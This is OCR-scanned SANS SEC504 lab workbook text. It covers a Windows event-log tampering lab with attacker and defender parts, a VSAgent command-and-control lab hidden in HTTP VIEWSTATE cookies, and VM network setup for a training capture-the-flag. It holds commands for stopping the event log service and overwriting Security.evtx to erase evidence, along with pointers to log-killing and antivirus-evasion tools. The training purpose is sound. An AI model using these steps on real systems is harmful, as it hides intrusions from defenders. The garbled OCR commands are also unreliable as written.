[+]ReadPath:C: \WINDOWS\system32\winevt\logs\sscurity, evtx
[+]EventRecordID: 7464 *
[+]Delete success

The | DeleteRecordofFileEx.exe - Utility creates a new event log file called temp.evtx ' inthe current

directory. In order to suppress the logging entry from Event Viewer, YyOu must now rep!aée the standard
Security.evtx | file with the modified version.

Stop the Windows Event Log Service
In order to replace a Windows event log EVTX file, it is necessary to stop the Windows Event log (eventlog)

service. This service starts automatically even after stopping, so it is necessary to first disable the service, then
stap it

From the Administrator Command Prompt, temporarily disable the Windows Event Log service using the . sc

utility, then stop it using the . net " utility, as shown here. When prompted, answer yes to stop the dependent
services as well,

Note that there is a space following  start- before | disabled I
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C:\WINDOWS\system32> sc config sventleg start= disabled

[8C] ChangeServiceConfig SUCCESS

E:\WINDOWS\system32> nat stop sventloy

The following services are dependent on the Windows Event Log service.
Stopping the Windows Event Log service will also stop these services.

Network List Service

Wetwork Location Awareness

Do you want to continue this

operation? [(Y/N) [N]: ¥

The Network List Service service is stopping.

The Network List Service service was stopped successfully.

The Network Location Awareness service was stopped successfully.

The Windows Event Log service

The Windows Event Log service was stopped successfully.

15 stopping.

Check the Windows Event Log Service

Use the | sc = command to confirm that the Windows Event Log service is stopped, as shown here,

C:\WINDOWS\system32> s¢ ¢guery svantloy

SERVICE_NAME: eventlog
TYPE
STATE
WIN3Z EXIT_CODE
SERVICE EXIT CODE
CHECKPOINT
WALT HINT

20 WIN32VSHARE7PROCESS
1 STGPPED

0 {0x0)

0  (0x0)

0x0

0x0

Note that the service state is stopped in the output here, Ensure that the service is stopped before continuing with




C:AWINDOWS\system32> copy temp.evitx

e \windows\system32\winevt\Logs\Security. evix :

Overwrite <:\windows\system3Z2\winevt\Logs\Security,evtx? (Yes/No/all): v f
1 file(s) copied. :

Start the Windows Event Log Service

Next, enable and start the Windows Event Log service using the sc ‘and net utilities, as shown here:

C:AWINDOWS\system32> sc config eventlog start= aute
[3C] ChangeServiceConfig SUCCESS

C:\WINDOWS\system32> nat start eventlog
The Windows Event Log service is starting.
The Windows Event Log service was started successfully.

C:\WINDCWS\systen32> s¢ query eventlog

SERVICE_NAME: eventlog

TYPE 1 20 WIN3Z SHARE PROCESS
STATE : 4  RUNNING
(STOPPABLE, NOT_ PAUSABLE, ACCEPTS SHUTDOWN)
WINBZgEXITmCDDE r 0 {0x0)
SERVICE_EXIT_CCDE : 0  (0x0)
CHECEPOINT : 0x0
WAIT HINT : OxC
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Upen Event Viewer

Next, look for the removed entry in Event Viewer, Start Event Viewer by dicking the Windows key then type
_ event viewer !. Click the Event Viewer application icon to open the application.

Expand the Windows Logs group, then click on the Security event log. Inspect the Event Viewer logs, scrolling if
necessary to the time and date of the previously noted logen event. Notice that the eventis no longer present
in the event logs, as shown here.
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In this illustration, the absence of the deleted logging entry is indicated with an arrow.

This step concludes the actions taken by an attacker for the exercise.

Deleted Logging Event Analysis (Defender)

For the next part of this lab exercise you will evaluate the artifacts left behind following an attacker's
modification to the Windows event log data.

identify Sarvice Stop Events

Recall in this exercise how it was necessary for the attacker to stop the Windows event log service in order to
replace the | security.evtx : file with the modified content. The process of stopping and starting the event
log service will create additional logging entries that may indicate potential tampering of the event logs.
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From Event Viewer, navigate to Windows Logs | System. The System logging information will record events
relating to changes in a system service,

Scroll to the events shortly after the time for the event deleted from your event log. Click on the event ID 7040
for the Service Control Manager event. In the General tab you will see the event logging message The start type of
the Windows Event Log service was changed from auto start to disabled, as shown here.
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This logging message corresponds to the attacker changing the service startup type from gutomatic to disabled
as part of the process necessary to replace the | security.evtx | file. Continue scrolling up to newer events to

identify an additional, associated event with event ID 7040, corresponding to the return of the event log service

from disabled to aute, as shown here.
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. ~ Note that the details for your event log entries, including date, time, and the other events in the event log will be
| ~ different for your system.

Evaluate Gaps in EventRecordiD

When Using | DeieteRecordofFileEx.exe |, the attacker specfies an EventRecordID value to remove. The

DeleteRecordofFilerx. exe = tool removes the fogging entry associated with the specified value, but does
: not update the other remaining event log entries to update the other EventRecordID values. Careful inspection
P of the event logs will reveal that there is a missing EventRecordID value in a sequence of logging events, as
shown in the two images that follow.
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In these two images, although the two event log messages are sequential, the EventRecordiD is non-sequential,
indicating a potentiolly deleted message.

The missing EventRecordID is a strong indicator of a manipulated event log, but identifying this pattern using
Event Viewer is tedious to perform manually.

After inspecting the missing entry, close Event Viewer.

Create a Local Copy of Security.evix

C:\WINDOWS\system32> cd \temp

C:\Temp> copy c:\windows\system3Z\winevt\Logs\Security.evix .
1 file(s) copied.

Note that the ot the end of the copy ' command indicates that the copy should place the file in the
current directory.
Export Event Log as XML

The python-evtx library written by Willi Ballenthin (https:/github.com/witiivallenthin includes a sample script called
evtz_dump :, The | evtx dump | tool reads from the Windows event fog evtx file and extracts the content as

an XML file. A simple utility by Joshua Wright { __“_“g;_-';_/.‘é%(._P.\é.é_(‘a‘rdIDGapé .ié%é ‘) reads from this XML file and identifies

gaps in the FventRecordID values that could indicate removed event log entries,

From the Command Prompt, convert the * security.evtx  file to XML format, as shown here:

C:\Temp> avix dump Security.evtx > Security.xml
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Identify Missing EventRecordID Records

Next, use the evtxrecordiDGaps.exe Utility to read from the XML file, identifying any non-sequential gaps in
the EventRecardlD records, as shown Here:

Ci\Temp> evtxRecordIDGaps.exe Sscurity.zml
==== @ap between EventRecordID 7463 and 7465 (201%-04-22 18:08:02,859697 and 2019-04-
22 18:09:20.406208)

Note that the FventRecord!Ds and the date/timestamps will be different on your system than the example shown
here.

The cutput of evtxRecordIDGaps. exe : indicates that there is a gap between two EventRecordID values. This
is a strong indicator of a compromised system and Windows event log, also revealing a time frame where you
can focus additional investigation technigues to further evaluate the attack.

Coneclusion

In this lab we covered how an attacker can remove evidence of their attack from Windows event logs. The

-.reason this is so important is because it highlights-how we need to correlate and fuse information from ... .. ..

multiple saurces to discover and verify an attack,

We also saw how it is possible to identify the evidence indicating the event log entries were manipulated. This
can be a useful indicator when evaluating a system, revealing useful information about when modifications
were made.

Why This Lab Is Important

All too often defenders are looking for a positive indicator that something happened. They're looking for a
footprint in mud. Sometimes, the absence of something expected - a forest going suddenly silent - can be an
indicator of something far more sinister.

Bonus (If Time Permits or Homework)

Experiment with the Invoke-Phantlm (tpsy/github.com/blicz/invoke-Phantom) toal, which will kill the event log
threads, but keeps the sérvice itself up and running. The effect of a tool like this is that any checks leoking for a

foserved o




running event log service will pass, but the service itself is unable to do any writing.

Additional Resources

SANS SEC511: Continuous Monltoring and Security Operations (apsyiwww.sans,org/secs11)
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Brief Intro

ey In this lab, we'll be using VSAgent to create command-and-controf (also called C2) traffic that takes place over
HTTP. It will “hide in plain sight" because VSAgent uses a cookie parameter named | _ VIEWSTATE : 0

g exchange all data.

Reguirements for This Lab

In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with the lab

exercise,

Try It Yourself

Start VSAgent and use it to send commands to your system. Set up a listener and decode the data.

Walkthrough

Preparing the Lab Environment

First become root using the | sudo ' command, as shown here,

. Remember, your possword is ; sec504 .

sacb04@slingshot:~$% sudo su -
[sude] password for sec504: zachi4
root@slingshot:~#

Before running VSAgent you must clear any prior sessions. Do this by removing the database file, as shown
here.
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root@slingshot:~# service nginx start
roct@slingshot:~#

start command again,

Then, start the backdoor:

roct@slingshot:~# python /opt/course www/vsagent-504/vsagent~504.py
http://10.10.75.1/vsagent~-504/server/vasve.php

Although you don’t see any output, the VSAgent process is running.

Contrclling the Client

Now, we will use Firefox to connect to the web Ul for VSAgent.

Open a new terminal window and access the VSAgent web interface by browsing to the URL with Firefox, as
shown below:

f
fa)
fu)
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sec504@slingshot:—$ firefeox hittp://10.10.75. 1/vsagent-504/server/vagui.php

Please note, there will be some errors shown in the terminai when you start Firefox. They are normal and will not
impact the lab. Firefox may also take g minute or two fo start up.

Conirolling the Agent

Piease note the following areas in the web-based GUI for V5Agent.

HMozilka Fivefox . w B M

*/ nttpi 04675, Lvsagent=: % 5 '

| 10.10.75. 14 205 30 fp nagl i

vsagents |

VEGUEL: Cover C:CHannel Malisre (VSAgent} C2 pane

First, in the lower section, you will see - vsagent> . This is where you will be able to type commands to the
remote system.

Next, you see the hex MAC address of the cantrolled systems in the upper-left area.
And finally, the large white area on the right is where the results of the commands you run appear.

Now, let's look at the traffic.

Tratfic

Open a new terminal window. In the new terminal window, Use sudo ' to access the root account as shown

here:
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sec5048slingshot:~8 sudo su =
[sudol password for sec504: sec504
rootéslingshot:~#

command to show only lines with the string VIEWSTATE.

We are doing this to focus on the C2 traffic and not view the HTTP GUI traffic, which is cleartext.

root@slingshot:~# tepdump -i lo ~s0 ~A | grep VIEWSTATE

tepdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on lo, link-type EN10OMB (Ethernet), capture size 262144 bytes

_ VIEWSTATE=eyJib2ltYW5SkeyI6IFtdLCAL YWdlaniOiAiMDAGMGMGMj kENTEOOGM6GZ ML FQ%3D%3D
<input type="hidden" name="__ VIEWSTATE" id="_ VIEWSTATE"

value="eyJjb21tYWskcyI6W10SImt udGVydmFsIjoxMHO=" />

_ VIEWSTATE=eyJibZlt¥WokcyI6IFtdLCAL YWA1bnQioiAiMDAGMGM Mk ENTEG0OGMOZ ML £0%3D%3D
<input type="hidden" name="__ VIEWSTATE" id=" VIEWSTATE"

value="eyJjb21tYW5keyI6W1l0sImludGVydmFsIjoxMEO=" />

Challenge

Now let's try a smalf challenge.,

Try and take the VIEWSTATE parameter and decode it. The VIEWSTATE parameter is simple base64 and tocls
like  base64 --decode | should be able to decode it easily,

However, that is not the case. The C2 for VSAgent also has some hex-encoded data in the middle of the base6d-
encoded data. This will cause tools like base64 to generate errors.

No one said being a defender was easy.

So, we will need to either delete the hex characters (they start with © & ) or we will need to convert them. The
two characters you want to watch out for are  s0a  (alinefeed)and 30 an - |
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We recommend deleting the  $0a © and converting the  £3D | toan | = . Also, the  man * pages are your
friend! | '

A great tool for this s © awk -t allows you to convert strings on the fly. In the slide, we give an example with dogs
and cats. The trick is gaing ta be chaining them tagether.

Still, that is just one passible solution. Feel free to explore others!

One Possible Solution

Below is cne possible solution, Please note that we chained the two * awk | conversions with a ;. Alsonote

that we took the baseb4 string, piped it into awk ~ for the conversion's;,'and then piped it into the base6d
utility for decoding.

root@slingshot:~# echo
eyiib2lL¥WEkoyl 6IFEALCALYIRALLNQIOLAIMDAGMGH Mk SMTY SMHY 2 ULEQR3DE3D | awk [
"{gsub {/%0A/, ") ;gsub {/%3D/,"=")}1' | basett --decode

("oommands'™: [1, "agent": "00:0c¢: 29:16:1F: 5™}

The command shown in this example is very long, so we're showing it again here over multiple lines:

acho aijbQltR’WSkcyz6IEtdLCAiYWdlaniOiAiMI}AGMGM6MjkGMTYGWYSZjUifQ%BD%SD |
awk ' {gsub{/%08/,"") ;g=sub (/%3D/,"=") }L" | basett --decode

Conclusion

We want to close the labs out with 504 by giving you a small glimpse of how clever these C2 channels can be.

However, with a lictle bit of work and a little creativity, we can peer into the world of the attackers. Take a few

moments when you get back to wark to try this in your environment. Can your next generation firewall detect
it?

You can convert a Python scriptinto an . .exe  file with tools like . pyinstaller ,  pyInjector ,and
pyzexé' . This faature is integrated Into Veil, as described in Anti-Virus Evasion: A Peelk Under the Vel

(htip/pen-testing.sans.org/blog/pen-testing/201 3/07/1 Fientivirus-evasion-a-peci-uinder-theveil) by Mark Baggett,
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Why This Lab Is Important

Skilled attackers will make use of allowed protocols in unexpected (and sometimes highly creative) ways. Even
though they are doing this, with enough perseverance and creativity, defenders can still find what is taking
place.

Bonus (If Time Permits or Homework)

Find other resources (https://nuli-byte wonderhowto,com/how-to/hark-ike-pro-create-nearly-undesectable-covert-channe-with-

tunnelshell-0135704/) which show how to create command-and-control tunnels, Set up network listeners that will
allow you to detect them,

Additional Resources

Anti-Virus Evasion: A Peck Under the Veil {htpi//pen-testing.sans. org/blog/pen-testing/2013/07 /1 2/anti-virus-evasion-a-peek-
under-tha-vell) by Mark Baggett.

Related SANS Courses

SANS SEC502: Intrusion Detection In-Depth {bttps:/Awww.sans.org/course/intrusion-detection-in-depih)

Suggestied Books

Network Forensics: Tracking Hackers through CyberSpace
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This document outlines the steps for connecting your Slingshot Linux and Windows 10 VMs to a local network.
Follow these steps to access the Capture the Flag (CTF) event, or anytime you need internet access from the lab
VMs (such as to update the wiki content).

The steps in this lab cover the configuration needed to connect Slingshot Linux and Windows 10 to the network.
You can skip to the pertinent configuration section by clicking one of the links below.

a  Slingshot Linux/macOS Fusion @singshot-fusian)

»  Slingshot Linux/Windows VMware Workstation @slingshot-workstation)

s Sfingshot Linux/Windows VMware Workstation Player gslingshot-player)

s Windeows 10/macOS Fuslon #windows-fusion)

o Windows 10/Windows VMware Workstation #windows-workstation)

o Windows 10/Windows VMware Waorkstation Player (#windows-player)

Connecting Slingshot Linux to the Network

Follow these steps to connect your Slingshot Linux VM to the network.

Boot Slingshot Linux

First, start the Slingshot Linux VM in VMware. Wait for the system to finish booting, then log in to Slingshot

Linux with the following credentials:

e Username; sec504
s Password: sec504

Change the VMware Network Connection to Bridged

For most of the exarcises in SEC504, your Slingshot Linux VM will be configured to use VMware's Host-only
network setting. This setting allows you to connect to the Windows VM and your local host platform, preventing
anyone else from interfering with your system.

To connect to the network, you must change the VMware network setting from Host-only to Bridged. This
process changes slightly depending on your host operating system. Refer to the example below that matches
your operating environment,
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Configuring Bridged Networking on macOS VMware Fusion

To configure bridged networking in macOS VMware Fusion, select the Slingshot Linux VM (click anywhere inside
the VM),

Next, click Virtual Machine | Network Adapter | Bridged (Autedetect), as shown here.

it View EGaaga

Continue to the step Open a Terminal, Access Root Account (#openaterminal), below,

Configuring Bridged Networking on Windows VMware Workstation

To configure bridged networking in Windows VMware Workstation (not VMware Workstation Player, see below
for those directions), sefect the Slingshot Linux VM {click anywhere inside the VM).

Next, click VM | Settings, as shown here,
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Change the network connection setting to Bridged. Click the Replicate physical network connection state, as shown
here. When finished, click OX,
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Continue to the step Open a Terminal, Access Root Account (#openaterminal), below,

Configuring Bridged Networking on Windows Workstation Player
To configure bridged networking in Windows VMware Workstation Player (not Vidware Workstation, see the prior

section for those directions), select the Slingshat Linux VM (click anywherz inside the VM),

Next, click Player | Manage | Virtual Machine Settings, as shown here,

Y
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Exit

Change the network connection setting to Bridged. Click the Replicate physical network connection state, as shown

here, Whenfinished, clickOK.

L




Yirtual Machine Settings x
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Continue to the step Open a Terminal, Access Root Account {#openaterminall, below,

COpen a Terminal, Access Root Account

From the Slingshot Linux VM, open a terminal. Access the root account using * sude  as shown:

secb04@slingshot:~$ sude su ~
[sudo] password for sec504: sechi4

root@slingshot:~#

Disable Networking Defaults

: Reserved 292
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root@slingshot:~# ssrvice networking step
root@slingshot: ~#

{CTF Step) Configure Network Settings

If you are preparing your VM for the SEC504 CTF, obtain an IP address assignment from your instructor. Set the

IP address using the ; ifcoﬁfig__ utility, as shown here:

root@slingshot:~# ifconfiyg eth0 10.10,75.X/16
root@slingshot:~#

Replace the X in this example with the IP address assigned to your Linux VM by the instructor,

{Internet Access Step) Configure Network Settings

Only apply this step if you are configuring your VM for internet access, not for the SEC504 CTH

Runthe | dhclient . utility to obtain an IP address, as shown here:

roct@slingshot:~# dholient ethl
smbd.service is not active, cannot reload.

inveke-rc.d: initscript smbd, action "reload" failed,




Optionally you can test your network connectivity by attempting to ping the internet server IP address 3.8.8.8,
as shown here;

rooté@slingshet:~# ping ~¢ 3 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.

64 bytes from 8.8.8.8: icmp seq=l ttl=122 time=16.7 ms
64 pbytes from 8.8,8.8: icmp seq=2 ttl=122 time=18.8 ms
€4 bytes from 8.8.8,8: icmp segq=3 ttl1=122 time=15.9 ms

-=-- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 15.914/17.177/18.849/1.232 ms

This completes the configuration of your Slingshot Linux VM for access to networked resources.

Continue with the steps that follow if you also need to connect your Windows 10 VM to the network.

Connecting Windows 10 to the Network

Follow these steps to connact your Windows 10 VM to the network,

Boot Windows 10

First, start the Windows 10 VM in VMware. Wait for the system to finish booting, then log in to Windows with the
following credentials:

v Username: sec504
e Password. sec504

Change the VMware Network Connection to Bridged ;

For most of the exercises in SEC504, your Windows 10 VM will be configured to use VMware's Host-only network
setting, This setting allows you to connect to the Linux VM and your local host platform, preventing anyone else
from interfering with your system,

To connect to the network, you must change the VMware network setting from Host-onfy to Bridged. This
process changes slightly depending on your host operating system. Refer to the example below that matches
your operating envircnment,
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Configuring Bridged Networking on mac0S VMware Fusion

o To configure bridged networking in macOS VMware Fusion, select the Windows 10 VM (click anywhere inside
the VM),

. Next, click Virtual Machine | Network Adapter | Bridged {Autodetect), as shown here,

Configuring Bridged Networking on Windows VMware Workstation

To configure bridged networking in Windows VMware Workstation (not VMware Workstation Player, see below
for those directions), select the Windows 10 VM (click anywhere inside the VM)

Next, click VM | Settings, as shown here.
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Change the network connection setting to Bridged. Click the Replicate physical network connection state, as shown
here. When finished, click OK.
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Continue to the step Configure Windows 10 1P Address grconfigurawini tip) , below.

Configuring Bridged Networking on Windows Workstation Player

To configure bridged networking in Windows VMware Worlstation Player (not ViMware Workstation, see the prior
section for those directions), select the Windows 10 VM (click anywhere inside the VM).

Next, click Player | Manage | Virtual Machine Settings, as shown hare.
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Change the network connection setting to Bridged. Click the Replicate physical network connection state, as shown

here. When finished, click OK.
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Continue to the step Configure Windows 10 IP Address g#onfigurewinttip), below.

Configure Windows 10 IP Address

Complete one of the two steps described next to configure your system for the SEC504 CTF, or to access the
internet.

(CTF Step) Configure Network Seilings

If you are preparing'your VM for the SEC504 CTF, obtain an IP address assignment from your instructor,

From your Windows VM, ocpen a Command Prompt as an Administrator: click Start, then right-click on the
Command Prempt icon, then click More | Run as administrater.

From the Command Prompt, use the = netsh command to set your |P address, as shown here:
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C:\Windeows\system32> netsh int ip set address "Ethernet0d" static 10.10.7&.X%
Z55.255.0.0

Replace the X in this example with the IF address assigred to your Linux VM by the instructor.

Note that the ' netsh * command does not return any output when used successfully.

(Internet Access Step) Configure Network Settings

Only apply this step if you are configuring your VM for internet access, not for the SEC504 CTF!

Right-click on the Desktop icon labeled enableDHCP. bat and select Run as administrator, as shown here:
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Successful completion of the script will show status output matching the example shown here:
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This completes the configuration of your Windows 10 VM for access to networked resources.
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Visit Your SANS Portal Account

If you are taking SECS04 online, visit the My Labs link in your SANS Portal page at www.sans.org
https/rwwen.sans.org) for setup directions to access the CTF portion of the course hands-on exercises.

s Ad
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“As usual, SANS courses pay for themselves by Day 2. By Day 3, you are itching
to get back to the office to use what you've learned”
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DobDD 8140

Community of Interest for NetSec

Cybersecurity innovation Awards

Search SANSInstitute

SAMS Free Resources
sans.org/security-resources

* E-MNewsleiters
MewsBites: Bi-weekly digest of top news
QUCH!: Monthly security awareness newsletter
@RISK Weekly summary of threats & mitigations

= Internet Storm Center

= CI§ Critical Security Controls

= Blogs

* Security Posters

« Vebcasts

= InfoSec Reading Room

= Top 25 Sofoware Errors

¢ Security Policies

« Intrusion Detection FAQ

* Tip of the Day

« 20 Coolest Carsers

* Security Glossary




